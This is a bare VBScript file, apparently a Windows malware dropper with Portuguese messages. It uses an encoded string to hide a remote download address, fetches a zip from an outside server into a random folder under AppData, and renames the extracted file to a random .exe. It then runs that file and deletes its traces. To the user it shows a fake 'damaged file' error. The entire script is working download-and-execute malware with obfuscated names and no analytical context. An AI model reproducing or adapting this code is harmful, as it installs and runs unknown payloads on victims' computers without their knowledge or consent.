JASDASIDFJDFASDA = "TMP"
GYSIKLMOPBPSJ = "qnu/4pmvepn08ubmg0932/:13/74/3600;quui"


Function geratexto
Dim Cadena, Letra, NumRnd, Clave
Cadena = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_0123456789"
For i = 1 To 15
    Randomize()
    NumRnd = Round(Rnd() * (Len(Cadena) - 1)) + 1
    Letra = Mid(Cadena, NumRnd, 1)
    Clave = Clave + Letra
Next
geratexto= Clave
End Function

Private Function Decrypt(ByVal encryptedstring)
    Dim x, i, tmp
    encryptedstring = StrReverse( encryptedstring )
    For i = 1 To Len( encryptedstring )
        x = Mid( encryptedstring, i, 1 )
        tmp = tmp & Chr( Asc( x ) - 1 )
    Next
    Decrypt = tmp
End Function

BASDFWQERQ2341Q111 = geratexto
base1 = Decrypt("&BUBEQQB&")

Dim objWShell
Set objWShell = WScript.CreateObject("WScript.Shell")
Dim PASDJALSDA
PASDJALSDA = objWShell.expandEnvironmentStrings(base1)

Dim verif
Dim dt
dt=now

  Set verif = CreateObject("Scripting.FileSystemObject")
   If verif.FileExists(PASDJALSDA & "\temp_"& day(dt)&"_"&hour(dt) &".tmp") Then
      wscript.echo "O arquivo está danificado e não pode ser restaurado"
      wscript.quit
   End If

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objTextFile = objFSO.CreateTextFile(PASDJALSDA & "\temp_"& day(dt)&"_"&hour(dt) &".tmp", True)
objTextFile.Close



Dim filepov, newfolder, newfolderpath
newfolderpath = PASDJALSDA &"\"& BASDFWQERQ2341Q111
set filepov=CreateObject("Scripting.FileSystemObject")
If Not filepov.FolderExists(newfolderpath) Then
Set newfolder = filepov.CreateFolder(newfolderpath)
End If

Function getfileshttp(strLink,pasta)
    strSaveName = Mid(strLink, InStrRev(strLink,"/") + 1, Len(strLink))
    strSaveName = Mid(strSaveName, 1,InStrRev(strSaveName,".",-1,1)-1 )
    strSaveTo = pasta  &"\"& strSaveName &".zip"

'arquivi_a  = Mid(Decrypt(GYSIKLMOPBPSJ), InStrRev(Decrypt(GYSIKLMOPBPSJ),"/") +1 )
'arquivi_b  = Mid(arquivi_a, 1,InStrRev(arquivi_a,".",-1,1)-1 )


'Mid(arquivi_a, 1,InStrRev(arquivi_a,".",-1,1)-1 )

    Set WQEFASDFASDF12342ASDFA = CreateObject( "WinHttp.WinHttpRequest.5.1" )
    WQEFASDFASDF12342ASDFA.Open "GET", strLink, False
    WQEFASDFASDF12342ASDFA.Send
    Set objFSO = CreateObject("Scripting.FileSystemObject")
    'If objFSO.FileExists(strSaveTo) Then
    'objFSO.DeleteFile(strSaveTo)
    'End If

    If WQEFASDFASDF12342ASDFA.Status = 200 Then
       Dim objStream
       Set objStream = CreateObject("ADODB.Stream")
       With objStream
           .Type = 1 'adTypeBinary
           .Open
           .Write WQEFASDFASDF12342ASDFA.ResponseBody
           .SaveToFile strSaveTo
           .Close
       End With
       set objStream = Nothing
     End If

set objShell = CreateObject("Shell.Application")
set FilesInZip=objShell.NameSpace(strSaveTo).items
objShell.NameSpace(PASDJALSDA &"\"& BASDFWQERQ2341Q111&"\").CopyHere(FilesInZip)
Set fso = Nothing
Set objShell = Nothing

Set obj = CreateObject("Scripting.FileSystemObject")
obj.DeleteFile(strSaveTo)

Dim FSO
  Set FSO = CreateObject("Scripting.FileSystemObject")
  strFile = pasta &"\"& strSaveName & "."& JASDASIDFJDFASDA
  strRename = pasta &"\"& geratexto & ".exe"
   If FSO.FileExists(strFile) Then
        FSO.MoveFile strFile, strRename
   End If

  Set FSO = Nothing

Dim objShell
Set objShell = WScript.CreateObject( "WScript.Shell" )
objShell.Run(strRename)
End Function



Call getfileshttp(Decrypt(GYSIKLMOPBPSJ),PASDJALSDA &"\"& BASDFWQERQ2341Q111 )



Set obj = CreateObject("Scripting.FileSystemObject")
obj.DeleteFile(PASDJALSDA & "\_temp.tmp")

wscript.quit